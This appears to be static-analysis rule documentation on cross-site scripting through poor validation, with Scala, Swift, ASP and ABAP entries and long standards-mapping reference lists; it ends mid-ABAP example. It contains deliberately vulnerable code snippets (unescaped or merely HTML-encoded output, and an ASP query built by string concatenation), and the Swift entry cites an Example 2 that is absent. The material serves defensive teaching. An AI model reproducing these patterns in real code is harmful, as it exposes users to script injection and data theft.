1. Data enters a web application through an untrusted source. In the case of reflected XSS, an untrusted source is most frequently a web request, and in the case of persistent (also known as stored) XSS -- it is the results of a database query.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Play controller code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


def getEmployee = Action { implicit request =>
var eid = request.getQueryString("eid")

eid = StringEscapeUtils.escapeHtml(eid); // insufficient validation

val employee = getEmployee(eid)

if (employee == Null) {
val html = Html(s"Employee ID ${eid} not found")
Ok(html) as HTML
}
...
}


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] INJECT-3: XML and HTML generation requires care Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[61] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.scala.cross_site_scripting_poor_validation
Abstract
The method uses HTML, XML, or other types of encoding that is not always enough to prevent malicious code from reaching the web browser.
Explanation
The use of certain encoding constructs, such as ESAPI or AntiXSS, will prevent some, but not all, cross-site scripting attacks. Depending on the context in which the data appears, characters beyond the basic <, >, &, and " that are HTML-encoded and those beyond <, >, &, ", and ' that are XML-encoded may take on meta-meaning. Relying on such encoding constructs is equivalent to using a weak deny list to prevent cross-site scripting and might allow an attacker to inject malicious code that will be executed in the browser. Because accurately identifying the context in which the data appear statically is not always possible, Fortify Static Code Analyzer reports cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web page through an untrusted source. In the case of reflected XSS, the untrusted source is typically through user components, URL scheme handlers, or notifications, while in the case of Persistent (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a UIWebView component without being validated.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

The following examples highlight exploitable XSS instances which are encoded using an encoding API:

Example 1: The following Swift code segment reads the text portion of a custom URL scheme which was passed to and invoked the application (myapp://input_to_the_application). The untrusted data in the URL is then used to render HTML output in a UIWebView component.


...
func application(app: UIApplication, openURL url: NSURL, options: [String : AnyObject]) -> Bool {
...
let name = getQueryStringParameter(url.absoluteString, "name")
let html = "Hi \(name)"
let webView = UIWebView()
webView.loadHTMLString(html, baseURL:nil)
...
}
func getQueryStringParameter(url: String?, param: String) -> String? {
if let url = url, urlComponents = NSURLComponents(string: url), queryItems = (urlComponents.queryItems as? [NSURLQueryItem]) {
return queryItems.filter({ (item) in item.name == param }).first?.value!
}
return nil
}
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database and is HTML encoded. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. The attacker supplied exploit could bypass encoded characters or place input in a context which is not effected by HTML encoding. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Example 3: The following code reads the contents of a UITextField and displays it to the user within a WKWebView:


...
let webView : WKWebView
let inputTextField : UITextField
webView.loadHTMLString(inputTextField.text, baseURL:nil)
...


The code in this example operates without issues if the text within inputTextField contains only standard alphanumeric text. If the text within inputTextField includes metacharacters or source code, then the input may be executed as code by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone provide input that can cause malicious code to run on their own device? The real danger is that an attacker may use email or social engineering tricks to lure victims into performing such actions. When this is successful, the victims unwittingly reflect the malicious content through the vulnerable web application back to their own devices. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in HTTP content. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from a custom URL scheme and reflected back in the content of a UIWebView response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable iOS application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a custom scheme URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable app. After the app reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 3, a source outside the target application makes a URL request using the target application's custom URL scheme, and unvalidated data from the URL request subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] W/Labs Continued Adventures with iOS UIWebViews
[4] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[61] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.swift.cross_site_scripting_poor_validation
Abstract
Relying on HTML, XML, and other types of encoding to validate user input can result in the browser executing malicious code.
Explanation
The use of certain encoding functions will prevent some, but not all cross-site scripting attacks. Depending on the context in which the data appear, characters beyond the basic <, >, &, and " that are HTML-encoded and those beyond <, >, &, ", and ' that are XML-encoded may take on meta-meaning. Relying on such encoding functions is equivalent to using a weak deny list to prevent cross-site scripting and might allow an attacker to inject malicious code that will be executed in the browser. Because accurately identifying the context in which the data appear statically is not always possible, the Fortify Secure Coding Rulepacks report cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ASP code segment reads an employee ID, eid, from an HTTP request, HTML-encodes it, and displays it to the user.


...
eid = Request("eid")
Response.Write "Employee ID:" & Server.HTMLEncode(eid) & "<br/>"
..


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following ASP code segment queries a database for an employee with a given ID and prints the corresponding HTML-encoded employee's name.


...
eid = Request("eid")
strSQL = "Select * from emp where id=" & eid
objADORecordSet.Open strSQL, strConnect, adOpenDynamic, adLockOptimistic, adCmdText
while not objRec.EOF
Response.Write "Employee Name:" & Server.HTMLEncode(objADORecordSet("name"))
objADORecordSet.MoveNext
Wend
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.vb.cross_site_scripting_poor_validation
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following ABAP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


...
eid = request->get_form_field( 'eid' ).
...
response->append_cdata( 'Employee ID: ').
response->append_cdata( eid ).
...


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following ABAP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


...
DATA: BEGIN OF itab_employees,
eid TYPE employees-itm,
name TYPE employees-name,
END OF itab_employees,
itab LIKE TABLE OF itab_employees.
...
itab_employees-eid = '...'.
APPEND itab_employees TO itab.

SELECT *
FROM employees
INTO CORRESPONDING FIELDS OF TABLE itab_employees
FOR ALL ENTRIES IN itab
WHERE eid = itab-eid.
ENDSELECT.
